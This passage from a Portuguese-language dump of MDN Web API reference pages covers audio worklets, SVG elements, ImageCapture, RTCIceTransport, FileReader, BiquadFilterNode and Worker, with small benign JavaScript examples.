correspondente.\n\n`AudioWorkletProcessor` (en-US)\n\nA interface `AudioWorkletProcessor` representa o código de processamento de áudio executado em um `AudioWorkletGlobalScope` que gera, processa ou analisa o áudio diretamente e pode passar mensagens para o `AudioWorkletNode` correspondente.\n\n`AudioWorkletGlobalScope` (en-US)\n\nA interface `AudioWorkletGlobalScope` é um objeto derivado de `WorkletGlobalScope` que representa um contexto de trabalho no qual um script de processamento de áudio é executado; ele foi projetado para permitir a geração, processamento e análise de dados de áudio diretamente usando JavaScript em um encadeamento de worklet em vez de no encadeamento principal.\n\n#### Obsoleto: nós do processador de script\n\nAntes da definição dos worklets de áudio, a API de áudio da Web usava o `ScriptProcessorNode` para processamento de áudio baseado em JavaScript. Como o código é executado no thread principal, eles têm um desempenho ruim. O `ScriptProcessorNode` é mantido por motivos históricos, mas está marcado como obsoleto.\n\n`ScriptProcessorNode` (en-US) \nDeprecated\n\nA interface **`ScriptProcessorNode`** permite a geração, processamento ou análise de áudio usando JavaScript. É um módulo de processamento de áudio `AudioNode` que está vinculado a dois buffers, um contendo a entrada atual e outro contendo a saída. Um evento, implementando a interface `AudioProcessingEvent` (en-US), é enviado ao objeto toda vez que o buffer de entrada contém novos dados, e o manipulador de eventos termina quando preenche o buffer de saída com dados.\n\n`audioprocess` (en-US) (evento) \nDeprecated\n\nO evento `audioprocess` é acionado quando um buffer de entrada de uma API de áudio da Web `ScriptProcessorNode` (en-US) está pronto para ser processado.\n\n`AudioProcessingEvent` (en-US) \nDeprecated\n\nO `AudioProcessingEvent` representa eventos que ocorrem quando um buffer de entrada `ScriptProcessorNode` (en-US) está pronto para ser processado.\n\n### Processamento de áudio off-line/de fundo\n\nÉ possível processar/renderizar um gráfico de áudio muito rapidamente em segundo plano — renderizando-o para um `AudioBuffer` (en-US) em vez de para os alto-falantes do dispositivo — com o seguinte.\n\n`OfflineAudioContext`\n\nA interface **`OfflineAudioContext`** é uma interface `AudioContext` que representa um gráfico de processamento de áudio construído a partir de `AudioNode`s vinculados. Em contraste com um `AudioContext` padrão, um `OfflineAudioContext` realmente não renderiza o áudio, mas o gera, *tão rápido quanto possível*, em um buffer.\n\n`complete` (en-US) (evento)\n\nO evento `complete` é acionado quando a renderização de um `OfflineAudioContext` é encerrada.\n\n`OfflineAudioCompletionEvent` (en-US)\n\nO `OfflineAudioCompletionEvent` representa eventos que ocorrem quando o processamento de um `OfflineAudioContext` é encerrado. O evento `complete` (en-US) usa essa interface.\n\nGuias e tutoriais\n-----------------\n\nTutorial e exemplo: Teclado de Sintetizador SimplesEste artigo apresenta o código e uma demonstração funcional de um teclado que você pode tocar usando seu mouse. O teclado lhe permite alternar entre formas de onda padrões e customizadas. Esse exemplo utiliza das seguintes interfaces de Web API: `AudioContext`, `OscillatorNode`, `PeriodicWave`, e `GainNode`.\n\nExemplos\n--------\n\nVocê pode encontrar vários exemplos em nosso repositório webaudio-example no GitHub.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Audio API # AudioContext |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### AudioContext\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n### Tutoriais/guias\n\n* Conceitos básicos por trás da API de áudio da Web (en-US)\n* Usando a API de áudio da Web (en-US)\n* Técnicas avançadas: criação de som, sequenciamento, temporização, agendamento (en-US)\n* Guia de reprodução automática para APIs de mídia e áudio da Web (en-US)\n* Usando filtros IIR (en-US)\n* Visualizações com API de áudio da Web (en-US)\n* Noções básicas de espacialização de áudio da Web (en-US)\n* Controlando vários parâmetros com ConstantSourceNode (en-US)\n* Misturando áudio posicional e WebGL (2012)\n* Desenvolvendo o áudio do jogo com a API de áudio da Web (2012)\n* Migrando código webkitAudioContext para padrões baseados em AudioContext (en-US)\n### Bibliotecas\n\n* Tones: uma biblioteca simples para tocar tons/notas específicos usando a API de áudio da Web.\n* Tone.js: um framework para criar música interativa no navegador.\n* howler.js: uma biblioteca de áudio JS que tem como padrão Web Audio API e retorna para HTML Audio, além de fornecer outros recursos úteis.\n* Mooog: encadeamento de AudioNodes no estilo jQuery, envios/retornos no estilo do mixer e muito mais.\n* XSound: Biblioteca Web Audio API para Sintetizador, Efeitos, Visualização, Gravação, etc.\n* OpenLang: aplicativo da Web do laboratório de linguagem de vídeo HTML usando a API de áudio da Web para gravar e combinar vídeo e áudio de diferentes fontes em um único arquivo (fonte no GitHub)\n* Pts.js: Simplifica a visualização de áudio na web (guide)\n### Tópicos relacionados\n\n* Tecnologias de mídia da Web (en-US)\n* Guia para tipos e formatos de mídia na web"}
{"title":"SVGAnimateTransformElement - APIs da Web","text":"SVGAnimateTransformElement\n==========================\n\nA interface `SVGAnimateTransformElement` corresponde ao elemento `<animateTransform>`.\n\nPropriedades\n------------\n\n*Essa interface não possui propriedades próprias mas as herda do seu pai, `SVGAnimationElement` (en-US).*\n\nMétodos\n-------\n\n*Essa interface não possui métodos próprios mas os herda do seu pai, `SVGAnimationElement` (en-US).*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| SVG Animations Level 2 # InterfaceSVGAnimateTransformElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"SVGAElement - APIs da Web","text":"SVGAElement\n===========\n\nO **`SVGAElement`** interface fornece acesso as propriedades do elemento `<a>`, bem como metodos para manipula-los.Propriedades\n------------\n\n*Esta interface também herda propriedades de sua interface pai,`SVGGraphicsElement` (en-US), e implementa propriedades de `SVGURIReference` (en-US) e de `HTMLHyperlinkElementUtils`.*\n\n`SVGAElement.target` Somente leitura \n\nIt corresponds to the `target (en-US)` attribute of the given element.\n\nMetodos\n-------\n\n*Esta interface não tem metodos próprios, porém herda metodos da interface `SVGGraphicsElement` (en-US).*\n\nExemplos\n--------\n\nNo exemplo abaixo, o `target (en-US)` atributo do elemento `<a>` recebe o valor `_blank` e quando o link for clicado, ele notifica se a condição é verdadeira ou falsa.\n\n\n```js\nvar linkRef = document.querySelector(\"a\");\nlinkRef.target = \"\\_self\";\n\nlinkRef.onclick = function () {\n  if (linkRef.target === \"\\_blank\") {\n    console.log(\"BLANK!\");\n    linkRef.target = \"\\_self\";\n  } else {\n    console.log(\"SORRY! not \\_blank\");\n  }\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # InterfaceSVGAElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* SVG `<a>` element"}
{"title":"ImageCapture - APIs da Web","text":"ImageCapture\n============\n\nA interface **`ImageCapture`** da MediaStream Image Capture API (en-US) fornece métodos para permitir a captura de images ou fotos de uma câmera ou de um dispositivo fotográfico. É fornecido uma interface para capturar images de um dispositive fotográfico referenciado por meio de um `MediaStreamTrack` (en-US) válido.\n\nConstrutor\n----------\n\n`ImageCapture()` (en-US)\n\nCria um novo objeto `ImageCapture` que pode ser usado para capturar quadros estáticos (fotos) de um determinado `MediaStreamTrack` (en-US) que representa um fluxo de vídeo.\n\nPropriedades\n------------\n\n`ImageCapture.track` (en-US) Somente leitura \n\nRetorna uma referência ao `MediaStreamTrack` (en-US) passado ao construtor.\n\nMétodos\n-------\n\nA interface do `ImageCapture` é baseada em `EventTarget`, portanto inclui os métodos definidos por essa interface e os listados abaixo.\n\n`ImageCapture.takePhoto()` (en-US)\n\nFaz uma única exposição usando o dispositivo de captura de vídeo que busca um `MediaStreamTrack` (en-US) e retorna um `Promise` que resolve com um `Blob` que contém o dados.\n\n`ImageCapture.getPhotoCapabilities()` (en-US)\n\nRetorna um `Promise` que resolve com um objeto `PhotoCapabilities` (en-US) que contém os intervalos de opções de configuração disponíveis.\n\n`ImageCapture.getPhotoSettings()` (en-US)\n\nRetorna um `Promise` que é resolvido com um objeto `PhotoSettings` que contém as definições de configuração de foto atuais.\n\n`ImageCapture.grabFrame()` (en-US)\n\nTira uma captura instantânea do vídeo ao vivo em um `MediaStreamTrack` (en-US), retornando um `ImageBitmap` (en-US), se for bem-sucedido.\n\nExemplo\n-------\n\nO código a seguir foi retirado do Chrome's Grab Frame - Take Photo Sample. Como o `ImageCapture` requer algum lugar para capturar uma imagem, o exemplo abaixo começa com o dispositivo de mídia de um dispositivo (em outras palavras, uma câmera).\n\nEste exemplo mostra, aproximadamente, um `MediaStreamTrack` (en-US) extraído do `MediaStream` (en-US) de um dispositivo. A faixa é usada para criar um objeto `ImageCapture`, para que seja possível chamar `takePhoto()` e `grabFrame()`. Por fim, mostra como aplicar os resultados dessas chamadas a um objeto de tela.\n\n\n```js\nvar imageCapture;\n\nfunction onGetUserMediaButtonClick() {\n  navigator.mediaDevices\n    .getUserMedia({ video: true })\n    .then((mediaStream) => {\n      document.querySelector(\"video\").srcObject = mediaStream;\n\n      const track = mediaStream.getVideoTracks()[0];\n      imageCapture = new ImageCapture(track);\n    })\n    .catch((error) => console.log(error));\n}\n\nfunction onGrabFrameButtonClick() {\n  imageCapture\n    .grabFrame()\n    .then((imageBitmap) => {\n      const canvas = document.querySelector(\"#grabFrameCanvas\");\n      drawCanvas(canvas, imageBitmap);\n    })\n    .catch((error) => console.log(error));\n}\n\nfunction onTakePhotoButtonClick() {\n  imageCapture\n    .takePhoto()\n    .then((blob) => createImageBitmap(blob))\n    .then((imageBitmap) => {\n      const canvas = document.querySelector(\"#takePhotoCanvas\");\n      drawCanvas(canvas, imageBitmap);\n    })\n    .catch((error) => console.log(error));\n}\n\n/\\* Utils \\*/\n\nfunction drawCanvas(canvas, img) {\n  canvas.width = getComputedStyle(canvas).width.split(\"px\")[0];\n  canvas.height = getComputedStyle(canvas).height.split(\"px\")[0];\n  let ratio = Math.min(canvas.width / img.width, canvas.height / img.height);\n  let x = (canvas.width - img.width \\* ratio) / 2;\n  let y = (canvas.height - img.height \\* ratio) / 2;\n  canvas.getContext(\"2d\").clearRect(0, 0, canvas.width, canvas.height);\n  canvas\n    .getContext(\"2d\")\n    .drawImage(\n      img,\n      0,\n      0,\n      img.width,\n      img.height,\n      x,\n      y,\n      img.width \\* ratio,\n      img.height \\* ratio,\n    );\n}\n\ndocument.querySelector(\"video\").addEventListener(\"play\", function () {\n  document.querySelector(\"#grabFrameButton\").disabled = false;\n  document.querySelector(\"#takePhotoButton\").disabled = false;\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| MediaStream Image Capture # imagecaptureapi |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"RTCIceTransport - APIs da Web","text":"RTCIceTransport\n===============\n\nA interface **`RTCIceTransport`** fornece informação a respeito da camada de transporte ICE (en-US) na qual os dados estão sendo enviados e recebidos. Isso é particulamente útil se você precisa acessar as informações de estado da conexão.\n\nPropriedades\n------------\n\n*A interface `RTCIceTransport` herda propriedades de sua interface pai, `EventTarget`. ele também oferta as seguintes propriedades:*\n\n`component` (en-US) Somente leitura \n\nO componente ICE que esta sendo usado pela transporte. O valor é uma das strings do `RTCIceTransport` tipo enumerável: `\"RTP\" (en-US)` ou `\"RTSP\"`.\n\n`gatheringState` (en-US) Somente leitura \n\nO `DOMString` indica em qual estado de recolhimento o agente ICE esta atualmente. O valor é um dos incluidos no `RTCIceGathererState` (en-US) tipo enumerável: `\"new\"`, `\"gathering\"`, ou `\"complete\"`.\n\n`role` (en-US) Somente leitura \n\nRetorna uma `DOMString` cujo valor é um membro do tipo enumerável `RTCIceRole` (en-US): `\"controlling\"` ou `\"controlled\"`; Isso indica se o agente ICE é aquele que toma a decisão final quanto ao par candidato a ser usado ou não.\n\n`state` (en-US) Somente leitura \n\nO `DOMString` indica qual o atual estado do agente ICE. O valor do `state` pode ser usado para determinar se o agente ICE fez uma conecxão inicial usando uma par de candidatos viável (`\"connected\"`), fez a seleção final do par de candidatos (`\"completed\"`), ou em um estado de erro (`\"failed\"`), além de outros estados. Veja o tipo enumerável `RTCIceTransportState` (en-US) para uma lista completa de estados.\n\nMétodos\n-------\n\n*Também inclui métodos da interface pai `EventTarget`.*\n\n`getLocalCandidates()` (en-US)\n\nRetorna um array de objetos `RTCIceCandidate` (en-US), cada descrevendo um dos candidatos ICE que foram reunidos para o dispositivo local até o momento. Esses são os mesmos candidatos que já foram enviados para o peer remoto, enviando um evento `icecandidate` ao `RTCPeerConnection` (en-US) para transmissão.\n\n`getLocalParameters()` (en-US)\n\nRetorna o objeto `RTCIceParameters` (en-US) descrevendo o parâmetro ICE estabelecido através de uma ligação ao método `RTCPeerConnection.setLocalDescription()` (en-US). Retorna `null` se os parâmetros ainda não foram recebidos.\n\n`getRemoteCandidates()` (en-US)\n\nRetorna um array de objetos `RTCIceCandidate` (en-US), um para cada candidato do dispositivo remoto, que foram recebidos pelo local final da `RTCPeerConnection` (en-US) e entrega ao ICE através da chamada `addIceCandidate()` (en-US).\n\n`getRemoteParameters()` (en-US)\n\nRetorna um objeto `RTCIceParameters` (en-US) contendo os parâmetros ICE para o dispositivo remoto, como definido por uma chamada para `RTCPeerConnection.setRemoteDescription()` (en-US). Se `setRemoteDescription()` não foi chamada ainda, o retorno será `null`.\n\n`getSelectedCandidatePair()` (en-US)\n\nRetorna um objeto `RTCIceCandidatePair` (en-US) que identifica os dois candidatos — um para cada conexão — que foram selecionados até o momento. É possível que um par melhor sejá encontrado e selecionado posteriormente; Se você precisar acompanhar isso, veja o evento `selectedcandidatepairchange`. Se nenhum par de candidatos foi selecionado ainda o valor retornado será `null`.\n\nEventos\n-------\n\nEscute esses eventos usando `addEventListener()` ou atribuindo um *event listener* para `oneventname` propriedade dessa interface.\n\n`gatheringstatechange` (en-US)\n\n Enviado ao objeto `RTCIceTransport` para indicar que o valor da propriedade `gatheringState` (en-US) foi alterado, indicando uma mudança no processo de negociação de candidatos ICE deste transporte.\n Também esta disponível através da propriedade *event handler* `ongatheringstatechange` (en-US).\n\n\n`selectedcandidatepairchange` (en-US)\n\n`Enviado para o RTCIceTransport` quando um novo, melhor par de candidatos foi selecionado para descrever a conectividade entre os dois peers. Isso pode ocorrer durante a negotiação ou a renegociação, incluindo depois de um ICE restart, que reusa os objetos `RTCIceTransport` existentes. O par de candidatos atuais pode ser obtido usando `getSelectedCandidatePair()` (en-US).\n Também esta disponível através da propriedade *event handler* `onselectedcandidatepairchange` (en-US).\n\n\n`statechange` (en-US)\n\n Enviado par a instancia do `RTCIceTransport` quando o valor da propriedade `state` (en-US) foi alterada, indicando que o processo de recolhimento ICE mudou de estado.\n Também esta disponível através da propriedade *event handler* `onstatechange` (en-US).\n\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebRTC: Real-Time Communication in Browsers # dom-rtcicetransport |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"ProcessingInstruction - APIs da Web","text":"ProcessingInstruction\n=====================\n\nUma **ProcessingInstruction (Instrução de Processamento)** incorpora instruções específicas de aplicações em XML (en-US) que pode ser ignorada por outras aplicações que não as reconhece. Mesmo se um processador XML ignora as instruções de processamento, irá dá-los um lugar no DOM.\n\nUma instrução de processamento é diferente de uma declaração XML, que fornece informação sobre o documento como por exemplo codificação de caracteres, e pode somente aparecer como o primeiro item em um documento.\n\nInstruções de processamento definidas por usuário não podem começar com `'xml'`, pois estes são reservados (como `<?xml-stylesheet ?>)`.\n\nInstruções de processamento herdam métodos e propriedades do `Node`.\n\n### Atributos\n\n* alvo (DOMString) - depois do `<?` e antes do *whitespace (en-US)* separando-o de `data`.\n* dado (DOMString) - primeiro caractere *whitespace* brancodepois de `target` e antes de `?>`\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-processinginstruction |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Veja também\n\n* document.createProcessingInstruction\n* whitespace no DOM (en-US)"}
{"title":"FileReader - APIs da Web","text":"FileReader\n==========\n\nO objeto **`FileReader`** permite que aplicativos da web leiam de forma assíncrona o conteúdo de arquivos (ou buffers de dados brutos) armazenados no computador do usuário, usando `File` ou `Blob` objetos para especificar o arquivo ou dados a serem lidos.\n\nObjetos de arquivo podem ser obtidos de um objeto `FileList` retornado como resultado de um usuário selecionar arquivos usando o elemento `<input>` ou de uma operação de arrastar e soltar `DataTransfer` objeto.\n\nO `FileReader` só pode acessar o conteúdo dos arquivos que o usuário selecionou explicitamente, usando um elemento HTML `<input type=\"file\">` ou arrastando e soltando. Ele não pode ser usado para ler um arquivo por nome de caminho do sistema de arquivos do usuário. Para ler arquivos no sistema de arquivos do cliente por nome de caminho, use a API de acesso ao sistema de arquivos (en-US). Para ler arquivos do lado do servidor, use soluções Ajax padrão, com permissão CORS se estiver lendo entre domínios.\n\n**Note:** This feature is available in Web Workers\n\nEventTarget\n\nFileReaderConstrutor\n----------\n\n`FileReader()`\n\nRetorna um `FileReader` recém-construído.\n\nConsulte Usando arquivos de aplicativos da Web (en-US) para obter detalhes e exemplos.\n\nPropriedades da instância\n-------------------------\n\n`FileReader.error` (en-US) Somente leitura \n\nUm `DOMException` (en-US) representando o erro que ocorreu durante a leitura do arquivo.\n\n`FileReader.readyState` (en-US) Somente leitura \n\nUm número que indica o estado do `FileReader`. Este é um dos seguintes:\n\n| Nome | Valor | Descrição |\n| --- | --- | --- |\n| `EMPTY` | `0` | Nenhum dado foi carregado ainda. |\n| `LOADING` | `1` | Os dados estão sendo carregados no momento. |\n| 'DONE' | `2` | Toda a solicitação de leitura foi concluída. |\n\n`FileReader.result` (en-US) Somente leitura \n\no conteúdo do arquivo. Esta propriedade só é válida após a conclusão da operação de leitura, e o formato dos dados depende de qual dos métodos foi utilizado para iniciar a operação de leitura.\n\nMétodos de instância\n--------------------\n\n`FileReader.abort()` (en-US)\n\nAborta a operação de leitura. Ao retornar, o `readyState` será `DONE`.\n\n`FileReader.readAsArrayBuffer()`\n\nInicia a leitura do conteúdo do `Blob` especificado, uma vez finalizado, o atributo `result` contém um `ArrayBuffer` representando os dados do arquivo.\n\n`FileReader.readAsBinaryString()`\n\nInicia a leitura do conteúdo do `Blob` especificado, uma vez concluído, o atributo `result` contém os dados binários brutos do arquivo como uma string.\n\n`FileReader.readAsDataURL()`\n\nInicia a leitura do conteúdo do `Blob` especificado, uma vez finalizado, o atributo `result` contém uma URL `data:` representando os dados do arquivo.\n\n`FileReader.readAsText()`\n\nInicia a leitura do conteúdo do `Blob` especificado, uma vez terminado, o atributo `result` contém o conteúdo do arquivo como uma string de texto. Um nome de codificação opcional pode ser especificado.\n\nEventos\n-------\n\nOuça esses eventos usando `addEventListener()` ou atribuindo um ouvinte de eventos à propriedade `oneventname` desta interface. Remova os ouvintes de eventos com `removeEventListener()`, uma vez que `FileReader` não seja mais usado, para evitar vazamentos de memória.\n\n`abort` (en-US)\n\nAcionado quando uma leitura foi abortada, por exemplo, porque o programa chamou `FileReader.abort()` (en-US).\n\n`error` (en-US)\n\nAcionado quando a leitura falhou devido a um erro.\n\n`load`\n\nDisparado quando uma leitura foi concluída com sucesso.\n\n`loadend` (en-US)\n\nAcionado quando uma leitura foi concluída, com sucesso ou não.\n\n`loadstart` (en-US)\n\nDisparado quando uma leitura é iniciada.\n\n`progress` (en-US)\n\nAcionado periodicamente à medida que os dados são lidos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # APIASynch |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando arquivos de aplicativos da web (en-US)\n* `File`\n* `Blob`\n* `FileReaderSync` (en-US){ APIRef(\"File API\")}}\nResumo\n------\n\nO objeto `FileReader` permite aplicações web ler assincronamente o conteúdo dos arquivos (ou buffers de dados puros) do computador do usuário, utilizando o objeto `File` ou `Blob` para especificar o arquivo ou os dados a serem lidos.\n\nObjetos File podem ser obtidos a partir de um objeto `FileList` retornado como resultado da seleção de um usuário utilizando um elemento `<input>`, a partir de uma operação de drag and drop `DataTransfer`, ou a partir de um `mozGetAsFile()` da api `HTMLCanvasElement` (en-US).\n\nConstrutor\n----------\n```\n\nFileReader FileReader();\n```\n\n\nVeja Using files from web applications para detalhes e exemplos.\n\nPropriedades\n------------\n\n`FileReader.error` (en-US) Somente leitura \n\nUm `DOMError` (en-US) representa o erro que ocorreu durante a leitura do arquivo.\n\n`FileReader.readyState` (en-US) Somente leitura \n\nUm número indicando o estado do `FileReader`. Este poderá ser um dos seguintes estados State constants.\n\n`FileReader.result` (en-US) Somente leitura \n\nO conteúdo do arquivo. Esta propriedade é válida apenas após a operação de leitura estar completa, e o formato dos dados dependem de qual método foi usado para iniciar a operação de leitura.\n\n### Manipuladores de eventos\n\n`FileReader.onabort` (en-US)\n\nUm manipulador para o evento `abort (en-US)`. Este evento é chamado cada vez que a operação de leitura é abortada.\n\n`FileReader.onerror` (en-US)\n\nUm manipulador para o evento `error (en-US)`. Este evento é chamado cada vez que a operação de leitura encontra um erro.\n\n`FileReader.onload`\n\nUm manipulador para o evento `load (en-US)`. Este evento é chamado cada vez que a operação de leitura é completada com sucesso.\n\n`FileReader.onloadstart`\n\nUm manipulador para o evento `loadstart (en-US)`. Este evento é chamado cada vez que a leitura começa.\n\n`FileReader.onloadend`\n\nUm manipulador para o evento `loadend (en-US)`. Este evento é chamado cada vez que a operação de leitura é completada (tanto em caso de sucesso quanto de erro).\n\n`FileReader.onprogress`\n\nUm manipulador para o evento `progress (en-US)`. Este evento é chamado durante a leitura do conteúdo de `Blob`.\n\n\n**Nota:** Nota: O `FileReader` herda de `EventTarget`, todos estes eventos podem ser listados usando o método `addEventListener`.\n\n### Constantes de estado\n\n* `EMPTY`: `0` : Nenhum dado foi carregado ainda.\n* `LOADING`: `1` : Os dados estão sendo carregados.\n* `DONE`: `2` : Toda a requisição de leitura foi completada.\nMétodos\n-------\n\n`FileReader.abort()` (en-US)\n\nAborta a operação de leitura. O retorno, no `readyState` será `DONE`.\n\n`FileReader.readAsArrayBuffer()`\n\nInicia a leitura do conteúdo do `Blob` espeficado, uma vez finalizado, o atributo `result` conterá um `ArrayBuffer` representando os dados do arquivo.\n\n`FileReader.readAsBinaryString()`\n\nInicia a leitura do conteúdo do `Blob` especificado, uma vez finalizado, o atributo `result` conterá os dados raw binários do arquivo como string.\n\n`FileReader.readAsDataURL()`\n\nInicia a leitura do conteúdo do `Blob` especificado, uma vez finalizado, o atributo `result` conterá um `data:` URL representando os dados do arquivo.\n\n`FileReader.readAsText()`\n\nInicia a leitura do conteúdo do `Blob` especificado, uma vez finalizado, o atributo `result` conterá o conteúdo do arquivo como string de texto.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # APIASynch |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using files from web applications\n* `File`\n* `Blob`"}
{"title":"BiquadFilterNode - APIs da Web","text":"BiquadFilterNode\n================\n\nA interface `BiquadFilterNode` representa um filtro simples de ordem baixa, e é criada utilizando o método `AudioContext.createBiquadFilter()` (en-US) . É o `AudioNode` que pode representar diferentes tipos de filtros, dispositivo de controle de timbre, e equalizadores gráficos. Um `BiquadFilterNode` sempre tem exatamente uma entrada e uma saída.\n\n|  |  |\n| --- | --- |\n| Número de entradas | `1` |\n| Número de saídas | `1` |\n| Modo de contagem de canal | `\"max\"` |\n| Contagem de canal | `2` (não utilizado no modo de contagem padrão) |\n| Interpretação de canal | `\"speakers\"` |\n\nConstrutor\n----------\n\n`BiquadFilterNode()` (en-US)\n\nCria uma nova instância de um objeto do tipo `BiquadFilterNode`.\n\nPropriedades\n------------\n\n*Herda as propriedades de seu pai,* *`AudioNode`*.\n\n`BiquadFilterNode.frequency` (en-US)\n\nÉ um a-rate (en-US) `AudioParam` (en-US), um double que representa a frequência no algoritmo de filtragem atual, medido em hertz (Hz).\n\n`BiquadFilterNode.detune` (en-US)\n\nÉ um a-rate (en-US) `AudioParam` (en-US) representando a dessintonização da frequência em cents.\n\n`BiquadFilterNode.Q` (en-US)\n\nÉ um a-rate (en-US) `AudioParam` (en-US), um double representando um Q factor, ou *fator de qualidade*.\n\n`BiquadFilterNode.gain` (en-US) Somente leitura \n\nÉ um a-rate (en-US) `AudioParam` (en-US), um double representando o gain utilizado no algoritmo de filtragem atual.\n\n`BiquadFilterNode.type` (en-US)\n\nÉ um valor string que define o tipo de algoritmo de filtragem que o nó está implementando.\n\n| `tipo` | Descrição | `frequência` | `Q` | `ganho` |\n| --- | --- | --- | --- | --- |\n| `lowpass` | Filtro de resonância lowpass padrão de segunda ordem com 12dB/octave rolloff. Frequências abaixo do ponto de corte passam; frequências acima são atenuadas. | A frequência de corte. | Indica o quão perto a frequência chegou em relação ao ponto de corte. Quantomaior o valor, maior será a aproximação. | *Não utilizado* |\n| `highpass` | Filtro de resonância highpass padrão de segunda ordem com 12dB/octave rolloff. Frequências abaixo do ponto de corte são atenuadas; frequências acima passam. | A frequência de corte. | Indica o quão perto a frequência chegou em relação ao ponto de corte. Quantomaior o valor, maior será a aproximação. | *Não utilizado* |\n| `bandpass` | Filtro bandpass padrão de segunda ordem. Frequências fora do dado limite de frequências são atenuadas; frequências dentro do limite passam. | O centro de alcance de frequências. | Controla a largura da banda de frequência. Quanto maior o valor `Q`, menor a frequência de banda. | *Não utilizado* |\n| `lowshelf` | Filtro lowshelf padrão de segunda ordem. Frequências menores que a frequência recebem um aumento, ou uma atenuação; frequências maiores não sofrem alterações. | O limite superior das frequênicas recebe um aumento ou atenuação. | *Não utilizado* | O aumento, em dB, para ser aplicado; se negativo, ele será uma atenuação. |\n| `highshelf` | Filtro highshelf padrão de segunda ordem. Frequências maiores que a frequência recebem aumento ou atenuação; frequências abaixo disso não sofrem alterações. | O limite inferior de frequências recebe aumento ou uma atenuação. | *Não utilizado* | O aumento, em dB, para ser aplicado; se negativo, ele será uma atenuação. |\n| `peaking` | Frequências dentro da faixa de frequencias recebem aumento ou atenuação; frequências fora da faixa não sofrem alterações. | O meio da faixa de frequência recebe um aumento ou uma atenuação. | Controla a largura da banda de frequência. Quanto maior o valor `Q`, menor a frequência de banda. | O aumento, em dB, para ser aplicado; se negativo, ele será uma atenuação. |\n| `notch` | Filtro notch padrão, também chamado de filtro *band-stop* ou *band-rejection*. É o oposto do filtro de de bandpass: frequências fora da faixa de frequências atribuída passam; frequências de dentro da faixa são atenuadas. | O centro de alcance de frequências. | Controla a largura da banda de frequência. Quanto maior o valor `Q`, menor a frequência de banda. | *Não utilizado* |\n| `allpass` | Filtro allpass padrão de segunda ordem. Permite que todas as frequências passem, porém altera a relação de fase entre as diversas frequências. | A frequência com o máximo group delay, ou seja, a frequência onde o centro da fase de transição ocorre. | Controla o quão apurada a transição é na frequência média. Quanto maior este parâmetro, mais apurada e ampla será a transição | *Não utilizado* |\n\nMétodos\n-------\n\n*Herda os métodos de seu pai,* *`AudioNode`*.\n\n`BiquadFilterNode.getFrequencyResponse()` (en-US)\n\nA partir dos parâmetros de configuração do filtro atual, este método calcula a frequência de resposta para frequências especificadas no array de frequências.\n\nExemplo\n-------\n\n{{page(\"/pt-BR/docs/Web/API/AudioContext.createBiquadFilter\",\"Example\")}}Especificações\n--------------\n\n| Specification |\n| --- |\n| Web Audio API # BiquadFilterNode |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Utilizando a Web Audio API (en-US)"}
{"title":"Worker - APIs da Web","text":"Worker\n======\n\nA interface **Worker** da API do Web Worker representa uma tarefa em background (segundo plano) que pode ser facilmente criada e emitir mensagens de volta ao seu criador. Criar um worker é possível chamando o construtor `Worker(\"path/to/worker/script\")` e especificando um script para ser executado em sua própria thread.\n\nUm worker pode, por sua vez, gerar outros workers, contanto que estes estejam hospedados na mesma origem (en-US) da página principal (Nota: workers aninhados não estão atualmente implementados no Blink). Além disso, workers podem utilizar XMLHttpRequest para E/S de rede, desde que seja estipulado que os atributos `responseXML` e `channel` em `XMLHttpRequest` retornem sempre `null`.\n\nNão são todas as interfaces e funções que estão disponíveis para o script associado a um `Worker`.\n\n**Nota:** No Firefox, se você deseja utilizar workers em extensões e gostaria de ter acesso a js-ctypes, você deveria utilizar o objeto `ChromeWorker` .\n\nConstrutores\n------------\n\n`Worker()` (en-US)\n\nCria um worker dedicado da web que executa o script especificado na URL. Workers também podem ser construídos usando Blobs.\n\nPropriedades\n------------\n\n*Herda as propriedades do pai, `EventTarget`, e implementa as propriedades que compõem o `AbstractWorker` (en-US).*\n\n### Manipuladores de Eventos\n\n`AbstractWorker.onerror` (en-US)\n\nUm `EventListener` é chamado sempre quando um `ErrorEvent` (en-US) do tipo `error` é passado através do worker. Este é herdado pelo `AbstractWorker` (en-US).\n\n`Worker.onmessage` (en-US)\n\nUm `EventListener` é chamado sempre quando um `MessageEvent` (en-US) do tipo `message` é passado através do worker — ou seja, quando uma mensagem é enviada para o documento pai do worker via `DedicatedWorkerGlobalScope.postMessage` (en-US). A mensagem é armazenada na propriedade de dados do evento `data` (en-US).\n\nMétodos\n-------\n\n*Os métodos são herdados de seu pai. `EventTarget`, e implementa os métodos de `AbstractWorker` (en-US).*\n\n`Worker.postMessage()` (en-US)\n\nEnvia uma mensagem — qual pode consistir de qualquer objeto do JavaScript — para o escopo interno do worker.\n\n`Worker.terminate()` (en-US)\n\nImediatamente encerra o worker. Isso não oferece ao worker a oportunidade de concluir suas operações; imediatamente o interrompe. 